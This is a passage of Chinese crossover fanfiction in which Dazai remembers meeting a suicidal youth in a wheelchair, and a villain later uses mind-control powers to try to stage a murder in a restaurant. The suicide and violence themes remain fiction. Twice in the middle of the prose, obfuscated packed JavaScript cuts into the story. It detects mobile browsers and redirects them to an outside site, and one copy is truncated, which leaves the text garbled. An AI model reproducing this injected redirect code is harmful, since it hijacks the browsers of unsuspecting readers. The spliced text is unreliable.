为什么要那么努力地活下去呢？明明不是已经对这个腐朽无趣的世界毫无牵挂了吗…… 和自己不一样，其他人是有活下去的动力的。比如织田作之助，至少对方曾经是有的，在对方收养的那些孩子还活着的时候。 太宰治记得，织田作之助跟自己说过，对方的梦想是离开黑手党恢复自由之后，可以坐在能看得见海的房间里写着小说。 可惜织田作收养的那些孩子死了，织田作也死了，织田作的梦想再也不会有实现的一天了。 而他还活着，没有存在意义甚至渴望着死亡的他还活着。 这个世界可真不讲道理。 在真正下定决心走向光明的前一天晚上，太宰治不知怎地漫无目的地走了很久很久，莫名其妙地来到了海边。 这里的月光被厚厚的云层遮蔽，夜空之中一颗星星也看不见。 于是，海面被笼罩在一片深邃的黑暗之中，像是无底的深渊。海风与海浪的声音缠绵地交织着，诱导着迷惘的过客踏足其中。 如果现在走进海里，可能就会迎来永久的安宁了吧？ 自杀经验丰富的太宰治跃跃欲试。 可就在他已经踏入冰冷的海水之中，迫不及待地想要向更深处走去的时候，他听到身后传来了一阵明显的动静。 那是轮椅前进时碾过沙地的声响。 太宰治转过头，看到了一个陌生的坐着轮椅的人。 四年前的那个时候，对方的轮椅还不是现在的这个。那个轮椅看起来价格低廉，质量不怎么好，碾过沙子和石子时发出的动响非常清楚。 而轮椅上的人那时也还不是青年，看着只不过是17岁左右的少年。 他的脸庞还有些许尚未完全褪去的稚嫩，其余的神情则被昏暗的光影笼罩在朦胧之中，看不真切。 真讨厌。 没想到在这深夜里，都跑到这么偏僻的地方了，还是能遇见麻烦的小鬼。 其实当年也才18岁出头的太宰治如是想。 “请不要多管闲事哦，我劝你还是当作没看见我比较好。” 对方许久没有回应。 就当太宰治以为那家伙听进去了，准备转身继续进行自己的自杀大业的时候。 那少年却又出声了，声音出乎意料地低哑：“你为什么要自杀？” 这个问题真的好无聊。 太宰治已经听过无数人对他问出这种问题了。不管是用指责般的语气，还是关心的语气，又或是好奇的语气……都早就已经听腻了。 他懒得认真回答，只想赶紧把对方恐吓走，不希望破坏这难得的绝佳氛围。 “你是想劝我活下去吧。但如果你知道了我是怎样的人，肯定就会后悔自己乱发好心了。” 太宰治声音冷漠，故意展现出曾经作为港口黑手党最年少干部的气势。 “我杀过很多人，犯过的罪行是你难以想象的。而且像你这种弱小又烂好心的家伙，不管是杀掉还是处理后事，都再简单不过了。” “比如说，我现在就可以在这里杀了你，然后抛尸入海。在这种偏僻的地方，不知道你的浮尸多久才会被打捞出来呢，我有点好奇。” “你呢？你想试试看吗？” 他向来知道怎么跟其他人拉开距离，也习惯了被人害怕厌恶。 可是听了这种话，那个少年却没有表现出普通人的惊恐，甚至连呼吸频率都没有变化。 仿佛经过了一番郑重的思考，少年沉默了会儿，随后认真地回应：“好啊。” 太宰治愣了愣。 他反思，是不是今晚的冷风吹多了，把自己脑袋吹糊涂了，连这么简单的判断都失误了。 明明很显而易见的。 对方一个人坐着轮椅深夜来到这种地方，当然也是准备来自杀的。 毕竟他和对方又不认识，对方也不像是擅长隐藏踪迹的样子，怎么可能会默默跟在他身后为了阻止他自杀。 看他没继续说话，少年便操纵着轮椅前行，停到了他身旁。对方的动作看起来很不熟练，应该之前是不经常坐轮椅的缘故。 此刻，夜色依旧如浓墨般沉重，远处的光线难以穿透层层黑暗抵达这里。 但是因为距离近了，所以太宰治看见了少年的神情。 对方表现得非常平静，青色的眼瞳仿佛湖面上结了一层薄冰，难以窥见其下的深邃。 白发衬托使得他的面容更偏苍白，缺乏应有的生气，令人感到难以言喻的沉重与压抑。 ……有种同类的气息。 太宰治突然莫名这么觉得。 忽然间，太宰治想起友人的遗言，织田作之助临死前劝他去救人的那一边，做个好人，拯救弱小…… 他当时也答应了织田作。 但是眼前的这个人会希望被拯救吗？ 太宰治简单想了想，立刻就放弃了多管闲事的想法。 他连自己都无法说服，怎么救得了其他想死的人，更何况对方此刻身上的死气比他还要浓郁，浓郁得好像随时都会死掉一样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12913971|133754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 居然有天会在对自杀的追求这方面输给别人，真是太失败了。 “不好意思，想死的话还是换个场地吧。” 感到郁闷的太宰治毫不客气地说：“知道什么叫做先来后到吗，这个地方已经被我先选中了呢。” “对不起。” 虽然少年这么说了，却依旧没有要走的迹象。 似乎只是不走心地随便应付一下，等太宰治先入水之后，他就会毫不客气地紧跟着入水似的。 太宰治有些苦恼。 尽管这个少年并不在意是不是跟其他人一起死去，但他自己还是十分在意的。 他对于跟男性殉情一点兴趣也没有，着重强调！！他只愿意与美丽的小姐一起殉情的！ 该怎么办呢？ 按理说他应该照顾对方的。毕竟那少年不良于行，让对方坐着轮椅艰难地去寻找下一个绝佳的自杀场地也太不人道了。 但他又不是什么好人，不像中也那样会好心地体谅别人。 太宰治纠结不已，半天没想出该怎么办。 少年也就这样沉默着看了他半天。 终于，太宰治选择了放弃，他是真的不想接受和一个男性殉情，尽管对方的长相很好也不可以。 而且自杀这种事情，对他而言也是需要氛围和情绪的。 绝佳的自杀氛围已经就被突然到来的这个家伙给打断了，他也没心情继续自杀了，反正哪一天自杀都没什么区别。 “好吧，我走行了吧……祝你得偿所愿，早点离开这个腐朽的世界。” 太宰治向他告别，临走时还留下了自己的祝福。 虽然别人听了可能觉得这更像是诅咒，但这确确实实是太宰治不带任何恶意的真心的祝福。 少年对着他笑了，轻声地回应：“再见。” 太宰治没有在意，转身离开，向着来时的路往回走。 他悠然地走了许久，经过了全是沙土的坎坷地面，踏上了坚实平坦的水泥路，往着高处、往着有人烟的地方走去。 在即将彻底远离那个偏僻寂静的海边时，太宰治停下了脚步。 他站在人造灯光的照耀下，隔着栏杆回头远远地望去。 然而出乎意料的是，他看见坐着轮椅的那个身影还停留在原地，仿佛时间在那里凝固了一般。 那边太过昏暗，一切都显得模糊不清。 但太宰治隐约觉得那里的人也正远远地看向这边。 就像他望着对方一样，对方应该也望着他，而且不知道已经无声地望了多久。 太宰治想起了对方之前的笑容，思绪在一刹那间变得异常清晰。 那个人既然不在意和别人一起死掉，刚才大可以直接入水。反正都要死了，已经没必要顾虑任何事了。 可是对方刚才却始终安静地待在一旁，等待着自己先做出选择。 这不应该。 所以……那个人是为了不想让他死掉，才选择停了下来，巧妙地用这种隐晦的方式阻止他自杀。甚至还放心不下，一直待在那里默默看着他的身影逐渐远去。 19.第十九章 太宰治怔住了。 片刻后，他别扭地移开视线，小声抱怨道：“……什么嘛。” 那家伙自己都想着去死，为什么在这种时候还要管别人的死活？ 自己渴望着的死亡明明近在咫尺，却舍得停下来，不动声色地去关心一个毫不相干的人。 他果然不能理解这样烂好心的人。 但是…… 既然是对方先多管闲事的话，那他以牙还牙一次应该也没什么问题吧？ 谁让对方故意阻止了他的自杀，害他今天只能败兴而归。他当然也不能让对方称心如意了。 太宰治用这种理由说服了自己，不再犹豫，准备回到刚才的地方去。 但是当他再次望向那边方向，刚才还在那里的身影现在却已然消失不见了。 对方是回去了吗？ 还是……已经做出了无可挽回的决定，沉入幽暗的海里了？ 夜色太黑了，如浓墨般厚重。太宰治无法看清那边的具体情况。 他抬脚迈步，本能地想快点过去看看，仅仅走了两步后却又停了下来。 没有必要了。 如果那个人已经沉入这片海里，他现在赶过去也无济于事。 理智做出了清楚的判断。 时间根本来不及，就算他匆忙赶到海边，在那种昏暗的光线下，想要在茫茫大海里找到一个消失的身影也完全是天方夜谭。 更何况那个人身上带着那样浓厚的死亡气息，既然对方下定了决心赴死，那么任何外界的干预都会显得非常无力。 太宰治突然觉得有点累，海风拂过面庞，带来丝丝凉意。 他面无表情地转身离开，没有表现出任何难过的情绪，只是身上散发着冷气，尽显前黑手党干部的冷漠。 当然啊，只是见过一次而已。他又不是那家伙，怎么可能会在意陌生人的死活。 只是这个世界上又少了一个笨蛋。 好无聊。 这个世界真是越来越无聊了。 那么，明天就去异能特务科吧。 太宰治这样便随意地做出了选择。 为了洗白要做的工作虽然枯燥乏味，但好歹也能消磨时间。 况且……尽管还不能确定自己能否成为一个好人，可是他不太想输给那个连名字都还不知道的陌生人。 …… 收回思绪，太宰治又忍不住往那边投去了目光。 已经过去了四年，那个人与当初有了不少差别，可还是能让人察觉出些许熟悉的感觉。 太宰治默默地想。 没想到，原来他还活着啊…… 在太宰治专注地盯着伊江朔久看，专注得仿佛能用他的视线穿透表面看到内在的时候。 后者自然也注意到了这难以忽视的目光。 伊江朔久无可奈何。 其实，他一进店门就注意到了太宰治他们三人。一时间他还以为自己来错了地方，意外地到了横滨。 下一刻，反应过来的他便下意识地想要直接离开。 要不是虎杖悠仁还没有来，说不定他就真的在门口停下来，和佐藤商量换个店吃饭了。 可惜考虑到现在换地方不太现实，不仅解释起来很麻烦，还会更加引人注意。 最终，伊江朔久还是勉为其难地进了店门，想办法坐在了离那三人比较远的位置。 但是没想到，太宰治却一直主动地往这边投来视线，还丝毫不加掩饰。 伊江朔久有点莫名心虚。 虽然他四年前和对方见过一次面，可是已经过去这么久了，就算没有完全忘掉也不应该这么在意吧？ 伊江朔久只能当作没注意到那边的视线，心里暗暗希望太宰治早点收回目光。 否则再这样下去，佐藤美和子说不定就也会注意到太宰治那边了。 没过多久，虎杖悠仁也进了这家店，看到伊江和佐藤已经坐在桌子旁边等待。他连忙走过去说：“不好意思，让你们久等了。” 伊江朔久招呼对方坐下：“没关系，我们也才刚到，在这附近遇见后一起过来的。” 佐藤也点头笑道：“嗯，现在离约定的时间也还早呢，看来我们都到得很早。” 他们三个商量着点完菜之后，一边等待着菜，一边正好随便闲谈几句。 这时，店门口又被打开了。 因为伊江朔久所在的位置面对着店门口的位置，所以他能很方便地看到那边的情况。 只是不经意地一瞥，他便又看见了一个熟悉的身影开门走进来。 那是个黑发绿眸的少女，年龄看着超不过15岁，面容精致如画。尽管穿着较为中性化的衣服和长裤，也很能吸引旁人的注意。 伊江朔久沉默。 ……伏黑惠、不对，禅院穗怎么会来这里？ 当时他用丘比马甲和对方签订契约时，对方表现得明明那么抗拒性转，他还以为对方不碰见魔女和使魔是绝对不会变身的。 没想到今天就看见对方变身来到了这里。 伊江朔久看着她坐到了他们前面的那张桌子，跟服务生简单地点了两道菜。 所以，伏黑惠变身过来只是来吃饭的吗？ 这家貌不惊人的小饭店怎么会容纳得下这么多奇人异士，实在是过于热闹了，真令人叹为观止。 旁边的虎杖悠仁见伊江突然沉默，跟随着他的视线往那边方向望了望，目光扫到过伏黑惠身上又很快移开，没察觉那个少女有什么问题。 虎杖悠仁便直接问道：“怎么了？伊江先生。” 伊江朔久摇了摇头，简单说道：“没什么……对了，我们的菜还有多久能够上完？” 佐藤美和子侧头看了眼那边有些忙碌不过来的服务生，预估道：“应该还得好一会儿才能上齐吧？其他客人的菜也上得比较慢。” 伊江朔久：“……这样啊。” 他有种预感，这顿饭估计是吃不上了。 按照他的经验判断，这么多重要角色齐聚一堂……如果不出意外的话，应该就要出现点意外了。 随着这一念头升起，店门口那边又双叒叕传来了动响。 等等，不会又要来什么熟人吧？ 伊江朔久略带不安地望向门口。幸好这次匆匆进来的是一个陌生的青年，褐发短寸头，样貌普通。 那短寸头青年一进来，便忙往前台走去。 一个黑发服务生喊住他，面色不豫：“谷口，你怎么才来值班？今天店里的客人这么多，我们根本都忙不过来。” “对不起对不起，实在是不好意思。” 那个叫谷口的短寸头青年连连道歉，解释道：“我女朋友她一直不回我消息，我有点担心，所以刚才在各个地方找她。不小心就忘了时间。辛苦你了，小田切。” 看这道歉态度诚恳，黑发服务生小田切也消气了，了然地说：“她又跟你吵架了吧？你们这天天闹矛盾也不嫌累，不如早点 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如果运气好的话，可能只会出个小案子。 比如，在这家饭店里说不定会出现几位不幸的普通人。他们之间闹出一些矛盾，然后随机化身为一个死者，以及三个嫌疑人。 看过太多集柯南的伊江朔久早已深谙这些案件的套路。 不过，目前这里好像没什么特别值得关注的人。 除了那个迟到的服务生稍微有一点引人注目之外，饭店里的其他人似乎都很寻常，也没有能凑成四个人的饭桌。 或许是他想多了？ 确实也不一定会闹出什么事来，这些可能都只是他的杞人忧天。 伊江朔久犹豫了会儿，却还是忍不住继续观察附近的情况。 要是真的出现什么意外就晚了。 他还是现在提前多仔细注意点吧，尽可能在事件发生前阻止，当然能不死人的话还是不死人最好。 可是……伊江朔久抿着嘴，打量了周围很久，还是没判断出哪个人会成为那个倒霉的死者。 他心底的不安感却越来越浓郁。 他这样左右打量四周的表现，自然能够被佐藤和虎杖发现，甚至稍远处的太宰治都注意到了。 佐藤美和子关心地问：“伊江君，你怎么了？” 伊江朔久闻言张口准备解释，却突然顿了顿，心里莫名涌起奇怪的念头。 ——活着好没意思，与其一直当个残废，还不如直接去死吧，至少不用拖累身边的其他人…… 随着这个想法浮现出来，压抑痛苦之类的种种情绪也悄然滋生。 伊江朔久有点恍惚，将头垂下来。 他默默地攥紧了拳，抑制着自己不断莫名出现的各种负面情绪，把那些糟糕的念想抛出脑外。 不对劲。 现在他绝对不可能会想求死。 这些突然凭空出现的想法和情绪太奇怪了，就好像是……有人硬生生地将这些塞入了他的脑中。 伊江朔久眉头紧缩。 所以说，他担心的意外情况已经出现苗头了吗？ 从如今他不断升起的这些求死念头来看，凶手一定不是普通人，大概率是拥有异能力，能力效果和影响他人的思想情绪有关。 而且凶手锁定的目标应该就是……他自己。 20.第二十章 伊江朔久微微抬起头，目光尽量隐晦地再一次扫视了一遍店里的所有人……然而还是没有发现可疑的存在。 突然，旁边的佐藤美和子面色犹豫道：“伊江君，我……” 伊江朔久视线又转到佐藤这边。 佐藤张了张口，差点就要说出，我们分手吧、对不起这样的话。 幸好她及时反应过来停住了，才没有造成糟糕的场面。 佐藤难得结巴地说：“没、没什么。” 她现在慌乱得连借口都想不起来，脑子里一团乱麻堆满了各种问题，不知道自己这是怎么了。 她刚才是想说什么来着？！ 分手？和谁？伊江君吗？! 开什么玩笑，她什么时候和伊江君在一起过？他们根本只是朋友的关系啊！ 虽然佐藤心底仍不断升起分手的念头和痛恨的情绪，但是同时荒谬的感觉很好地中和了前者，所以她现在还能勉强控制得住自己。 佐藤单手捂住脸，深深地低下头，把自己当作一个安静的蘑菇，无声地自闭着。 伊江朔久见此状况，随即想到，难道佐藤小姐也跟他一样…… 就在这时，另一边的虎杖悠仁猛然从座位上站起身来，动作急促而慌乱，椅子与地面摩擦而发出了刺耳的声响。 伊江朔久下意识道：“虎杖君？” 虎杖悠仁眼神飘忽地说：“那个，伊江先生，我要去一下洗手间……” 虎杖悠仁心里痛苦不已。 谁能知道为什么他脑海中莫名多出了那些奇怪的念头和情绪啊？！ 为什么他会突然感觉厌恶嫌弃伊江先生？为什么会突然感觉要体谅照顾对方很麻烦？为什么觉得佐藤小姐不应该和伊江先生在一起？…… 明明是伊江先生之前帮助了他的爷爷，他也没能够有机会体谅照顾对方，更何况佐藤小姐和伊江先生不是前些天才刚认识的吗？…… 可是就算他清楚地知道这些，却居然还是会不断冒出那些差劲的念头。 这不仅逻辑问题很严重，而且相当低劣。 正直善良的少年从没想到自己有天会这个样子，此刻非常怀疑人生，感觉自己中邪了。 他崩溃地想……还是去洗手间洗把脸吧，好好让自己清醒一下。 看虎杖悠仁这个样子，伊江朔久瞬间了然他也中招了，善解人意地说：“没关系，你去吧，待久一点也可以。” 针对他们的敌人很显然能够知晓这里的情况，躲远点至少会安全一些。 虎杖悠仁听到伊江应声，便立刻扭头急匆匆迈开步伐，仿佛在逃避什么。 然而他急于离开，动作太过着急，从他们这边桌子刚出去，就不小心撞到了前面的另一张桌子。 那桌面上的杯子本就放得有些偏，此刻被这么一晃，瞬间失去平衡倒了下去。 杯里的果汁泼洒而出。 坐在这张桌子面前的黑发绿眸的少女不幸遭殃，身上的衣物被果汁浸湿了好大一片。 虎杖悠仁慌乱地道歉：“对不起！抱歉，我不是故意的！” 少女面色略显难看，幽绿色的双眸里含着怒意。 “你在干什么啊，对女生也太没礼貌了吧，这可是我新买的衣服……” 虎杖悠仁脸上写满了愧疚，手忙脚乱地取出桌子上摆放着的纸巾，有点无措地递给少女：“对不起，我、你先擦擦吧。” 然而少女的表情却不知何时陡然僵住了。 她半天才一言不发地接过纸巾，一副心不在焉的样子。 伏黑惠神情恍惚。 刚才那种话是自己说出来的吗？ 为什么会那么自然地把自己当成女生呢？还有那种语气……真的完全像是个因为新衣服被弄脏而发火的女孩子啊。 难道，变身性转之后，自己的心态也慢慢从男生转变成女生了吗？！ 伏黑惠开始后悔自己为什么今天想不开要变身出门了。 其实这倒也是被逼无奈的。 自从那天津美纪醒来见过禅院穗之后，津美纪就总是时不时问他关于禅院穗的事情，还希望能够和禅院穗见见。 伏黑惠一次又一次艰难地应付了过去。 为了不暴露自己是魔法少女的事，他只得费力地编造谎言，推托说禅院穗比较忙、很少能空闲下来。 但是津美纪实在是过于在意她了。如果一直推托下去，津美纪肯定会产生怀疑的。 迟早还是得安排她们见上一面。 所以伏黑惠便尝试着变身之后出门了。先是去服装店逛了一圈，准备买套衣服。 毕竟变身之后自动换上的那身衣服太过夸张了。也不方便穿他之前给自己买的那些男装，容易被津美纪察觉到问题。 于是，伏黑惠变身后逛了很久的服装店。 每个店里的导购看见她后几乎都很热情友好，然后推销的都是些漂亮精致的裙子。 伏黑惠稍作纠结，还是没过心里那关，最终坚决地拒绝了所有的裙装，只选了一套较为中性化的衣服和长裤。 买完衣服之后，想着也得适应一下现在这个身体，免得以后战斗时因为不习惯而掉链子。 伏黑惠也就暂时没有解除变身，甚至还随便找了个饭店来吃饭…… 如今，伏黑惠怔怔地望着面前和自己年龄差不多的陌生少年，对方是不小心才将果汁弄倒的，而且道歉态度也非常诚恳。 说到底这也不算什么事。 如果换作以前的自己是不会太过生气的。 可是……伏黑惠现在心里却莫名充斥着怒气。 不知为何非常想斥责面前这个少年，气恼于自己的衣服被弄脏，想指责对方笨手笨脚的，绝对没有女朋友…… 这种事情绝对很奇怪吧？！ 伏黑惠想不通自己怎么会这么想。该不会是丘比故意隐瞒没有告诉他，变身后除了外表性转，内心性格也会随之改变吧？ 虎杖悠仁还在道歉：“……实在是不好意思，我会负责赔偿的。” 伏黑惠抑制住那些不对劲的情绪，努力挤出几个字：“没关系，不用。” 估计是因为她的表情管理没有做好，虎杖悠仁可能还以为她在生气，继续真诚地说道：“我一定会赔偿你的。能加个联系方式吗？回头我出钱将这件衣服送去洗衣店，或者我重新买一件一样的给你也行。” 伏黑惠再次拒绝道：“真的不用了。” 虎杖悠仁又想了想，犹犹豫豫地将自己的外套脱下来，递给她：“要不你先把它套在外面穿？” 伏黑惠看着递到自己面前的外套：“……” 这个陌生的少年还真是挺好心的。 但其实她穿的衣服并不薄，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12942572|133754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是单件，果汁的影响不大，所以穿男生的外套还是算了吧…… 不对，自己本来就是男生啊，为什么刚才又会那么去想？！ 伏黑惠不免有点崩溃，不知道那些莫名的情绪到底是从何而来，为什么总会把自己当成女生。 为了不向那些情绪妥协，伏黑惠不敢再多想下去，就接过了那件外套利落地穿上，对那少年说：“谢谢。” 反正自己不是女生！男生穿男生的外套完全没有问题！ 虎杖悠仁讷讷地道：“没关系……” 伏黑惠这时候也觉得有点别扭，于是思考片刻后拿出自己的手机，打开社交通讯平台给对方看，说： “加个联系方式吧，回头我把外套还给你。” 虎杖悠仁点点头，与其加了好友。 伏黑惠暗自庆幸自己前几天创建了一个新的社交账号，是为‘禅院穗’专门创建的，这次能够派上用场。 目前这个账号只加了两个好友，也就是伏黑津美纪和眼前这个少年。希望以后不要再加什么别的人了…… 伏黑惠缓了口气，想着总算是解决了这个意外插曲，吃完饭后就赶紧离开，找丘比问问自己这到底是怎么回事。 虎杖悠仁也同样长舒一口气。 和这个少女商量着解决完此事后，他接着继续去洗手间，用冷水好好洗了几遍脸。 感觉自己似乎好多了，奇怪的情绪渐渐淡下去，虎杖悠仁才再次回到自己原本的座位坐下。 饭店里算是又恢复了平和安宁的氛围，仿佛刚才的插曲从未发生。 可是，唯独有一个人却为此感到很不满。 在饭店某个不起眼的角落里，一个隐蔽的监控摄像头发出幽暗的光芒，静静地注视着这里的一切。 摄像头的另一端，是一个阴暗逼仄的房间。 一个有着严重黑眼圈的男子正坐在这个小房间里，皱着眉头，目光紧紧盯着面前的屏幕，脸上写满了失望与不甘。 怎么又失败了？！不应该啊。 为什么连任何冲突都没能闹出来？ 他郁闷地望着眼前屏幕里饭店和谐的场景，又低下头看了看桌子上数张写满字的纸页，不免发起愁来。 这样下去，他怎么才能继续创作自己的作品？ 他的名字是井开宏，是个异能者。 异能力的效果是操控他人的想法和情绪。 限制是他必须能看见想要操控的那个人，而且无法在短时间内频繁对同一个人使用异能。 这算是个很有用的异能。 如果他将自己的异能宣扬出去，一定会有许多组织争着朝他抛出橄榄枝，财富和地位统统唾手可得。 但他志不在此。 他，井开宏，从小就喜欢着推理小说，梦想成为一名优秀的推理小说家。 他立志有一天，要让全世界的人都看到自己写的作品。 为此他非常努力地进行创作，写了一本又一本的小说。然而成绩却并不理想，根本没有多少读者会去看他的作品。 他因此停笔了好一段时间，整日沉浸在痛苦的折磨之中。 直到某一天他恍然醒悟。 对于创作来说，真实性是不可或缺的因素之一。 ——他都没有切实接触过杀人案件，又怎么能够写出真实而触动人心的推理作品呢？ 21.第二十一章 不过，杀人案件可不是那么好接触的。 就算想办法成为警察或是侦探，也没办法经常目睹一场杀人案件从起因到经过再到结束。 井开宏便想到，如果自己亲自制造杀人案件呢？ 那么，他就可以再清楚不过地了解案件所有的细节，掌握案件从头到尾的发展。 这真是天才的想法！ 而他的异能恰巧非常适合这么做，这简直就是上天为他编织的命运，他生来就注定着成为一位最伟大的推理作家！ 井开宏兴奋地开始试验自己的想法。 最初，他只是在家里运用望远镜看着路人，一直给对方传输极其负面消极的情绪，使对方渴望死亡。 如果对方承受不住，真的选择了自杀。 他就可以通过观察那人自杀采用的方法，以及死亡的场面，激发自己的创作灵感。 这么成功几次之后，他逐渐不满足于此。 他渐渐开始选择自己期望的死者，给对方身边的人传输对其厌恶的念头，看着其他人采用各种方法杀死那个人…… 真是太有趣了，这种立于局外、操控着他人生死命运的感觉。 井开宏沉迷于制造越来越精彩的杀人案件，并将这些案件写入了自己的作品中。 果然，他的推理小说也受到了越来越多的人的欢迎。 可惜还是被人察觉到了，他作品里的内容取材于真实的案件，里面包含着未被公布的许多案件细节…… 井开宏被迫只得从横滨逃到了东京。 不过，他很快便发现东京米花町其实更适合自己。 来到这里就和回家一样，甚至比在横滨的感觉还要好。 这里遍地都是犯罪人才，许多人都愿意为了一时之气而杀人，犯罪手法还花样百出……他也便能更轻松地制造出精彩绝伦的案件了。 井开宏在这里待得非常满意，根本不想离开。 他花费自己存下来的钱，买了些微型监控摄像头和窃听器。 将这些分散偷偷放到饭店、咖啡厅之类的地方，以此方便远程掌控自己制造的案件。 今天井开宏选择的是这家饭店。 这个时间段这里的客人很多，非常适合他肆意发挥。 确定好了时间和地点后，他开始仔细挑选案件最主要的人物，也就是死者。 这需要慎重考虑。 本来他是准备在一同进店的那三个男性之中选择的。 因为他们的形象性格都很有特色，长相也都很不错，还恰巧坐下的地方离自己唯一放置的窃听器很近，能清楚地听到他们的交谈。 但是，那其中一个人说的话引起了他的兴趣，让他改变了主意。 那个被同伴叫做太宰的人说，他在四年前见过那个坐轮椅的青年。对方在四年前自杀过，没想到却依然坚持着活到了现在，还转变了这么多。 井开宏的目光不禁转移到那个白发青瞳的青年身上。 这个人之前曾经自杀过？ 看着这轮椅就能让人猜到，对方大概率是因为这残疾的身体才选择自杀的吧。 曾经徘徊在死亡边缘、岌岌可危的脆弱灵魂，在经历了痛苦的挣扎后，最终选择坚持着活下去，重新燃起了热烈的生命火焰。 如果那份顽强而璀璨的火焰能够再次被残忍熄灭…… 光是想象，都觉得那定是一幅令人心醉的绝佳死亡画卷。 于是，井开宏毫不犹豫地将死者选定为这个青年。 这次应该会是个轻松的工作，井开宏刚开始是这么想的。 不仅是因为目标人物之前有过自杀的经历，心理状态肯定不怎么样。 还是因为井开宏通过窃听器，知晓了青年旁边的女子和他是情侣关系。 井开宏有着丰富的制造案件的经验，因此他深刻地明白——这年头在米花町这种风气的影响下，情侣之间的关系异常脆弱，往往会因为种种原因陷入情感的漩涡，非常容易闹出凶杀案。 所以，不管是自杀还是他杀，都很容易解决掉那个青年。 井开宏咧嘴笑着，拿起了笔，在白纸上描写着青年的心理情绪……自厌的负面的这类情绪统统写上去，得到达能把人逼死的那种程度才行。 写完了之后，他又开始针对青年旁边的那个黑色短发的女子，笔刷刷地写着。 要让她后悔选择跟青年交往，厌恶对方的残疾，恨不得永远摆脱对方…… 随后，井开宏放下笔，抬头望向面前的屏幕，期待着看到自己想要的场面。 ——那个轮椅上的白发青年脸色有些糟糕，恍惚地垂下头，显然状态不太好。 没错，就应该是这样。 井开宏满意地点点头。 ——旁边黑色短发女子犹豫又痛苦地对青年开口，然而才说了个开头，就骤然停了下来，不再说话、陷入了自闭之中…… 怎么就停下来了？？！ 井开宏愣住。 她不应该闹着要分手，然后对方假如不同意，她就该忍不住想办法杀了对方吗？ 还有，那个青年也真是的。 怎么过去这么久了还在沉默，不应该已经被负面情绪压垮、然后开始寻死觅活吗？ 井开宏不明白。 这剧情的走向似乎和他预想的不太一样。 但他可不会就这么轻言放弃。 井开宏咬牙想着，之前他可是精心策划了那么多起案件，经验丰富，还有的是应对之策呢。 或许那个粉黑色尖刺短发的少年更适合成为凶手吧。 他们三个人是坐在一起吃饭的。既然白发青年和黑色短发女子是情侣，那个少年岂不是很容易被冷落，说不定早就在心里压抑了许久的不满。 井开宏拿起笔，在纸上快速刻画着少年的心理。 这种事情他非常熟练，很快就写完了，确信肯定能够引起少年对那个青年的厌恶与痛恨。 他再度期待地望向监控画面。 ——粉黑色尖刺短发的少年猛然从座位上站起身来，发出了不小的动静…… 这才对嘛。 就应该站起来冲着那个青年发火，如果直接动手打起来就更好了，让矛盾闹得不可开交，然后便…… 然而，事情又没有按照井开宏预想的那样发 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井开宏不服输，决定再找找别的凶手。这饭店里有这么多人，总不能各个都这么奇怪吧。 他目光锁定在那个叫做太宰的青年身上。 刚才听他们的谈话，这人像是喜欢找人殉情的惯犯，对那个白发青年的态度很奇怪，似乎是很不满对方之前没有自杀成功…… 说不定，这个叫太宰的才是最佳的凶手人选。 太宰一直关注着那个青年，肯定是非常在意。对方没有按照他猜测的那样早早死亡，甚至还转变了这么多，坚持地活到了现在。 他一定很不悦，心生怨念，想要找机会杀死对方。 这很合理吧。 井开宏灵感迸发，飞快地写完了对太宰的心理描写。 可是没想到，这次的结果就更离谱了。 监控屏幕里，名叫太宰的青年表现一切如常，连眉毛都没皱一下，就好像什么事都没有发生一般。 怎么回事？ 他的异能出错了？怎么好像完全没用似的？！ 井开宏气得咬牙切齿，积累的挫败感让他怀疑人生。他努力坚持着在心里宽慰自己，不信邪地继续尝试。 还是再转换个目标试试，让其他人担任凶手这个重要角色。 这个金发黑瞳、戴着眼镜的青年看起来急躁易怒，应该不容易控制住自己的情绪，至少能先闹起点矛盾吧？ ——金发青年脸色骤然变得难看起来，恶意涌上心头，不自觉地攥紧了拳头。 ——紧接着，金发青年实在抑制不住，拿着自己的笔记本狠狠敲了一下太宰的头，怒道：“太、宰、治！” ——太宰治被突然袭击，吃痛地用手抚着头，回头望着对方，眼神里充满了不解：“你干什么打我啊？国木田君。” 在摄像头的另一边，井开宏也同样在心中痛苦地咆哮。 你干什么打他啊？？！ 自己明明写下的内容不是这样的啊？国木田不应该是冲着那个坐轮椅的青年发火吗？！！ 22.第二十二章 监控画面里，国木田抿着嘴一言不发，眼底的怒意还没有消散，握着笔记本的手很用力，几乎快要使笔记本变形。 太宰治察觉到不对劲。 国木田一向珍惜自己的笔记本，而且也不是会无缘无故打人的那种类型，所以如今这个状态明显很奇怪。 太宰治问道：“怎么了？” 中岛敦也担心地看着国木田。 国木田深吸一口气，摇了摇头，艰难地挤出几个字：“……我没事。” 这可完全不像是没事的样子，太宰治眼神里含着谴责的意味，幽幽地追问：“没事的话，你为什么莫名其妙突然打我？” “我……我就是看你这家伙不爽，你别再时不时看别人了，好好商谈一下我们接下来该怎么办！” 国木田强撑着说出这样的话，努力克制着自己的情绪。 谁知道他怎么忽然心里多了许多负面的念头，为什么会对那个坐轮椅的青年产生厌恶感？ 那人根本就没招他惹他啊。 总不可能是因为太宰过于关注那个人，再加上听说对方四年前自杀过……所以他因为太宰的缘故，恨屋及乌地也讨厌上了那个人？ 作为极其认真又正义的理想主义者，国木田独步绝不允许自己的思想观念如此不正确。 他竭力地控制着自己的情绪，也不想被太宰发现后嘲笑自己，只能把黑锅强行丢到太宰头上。 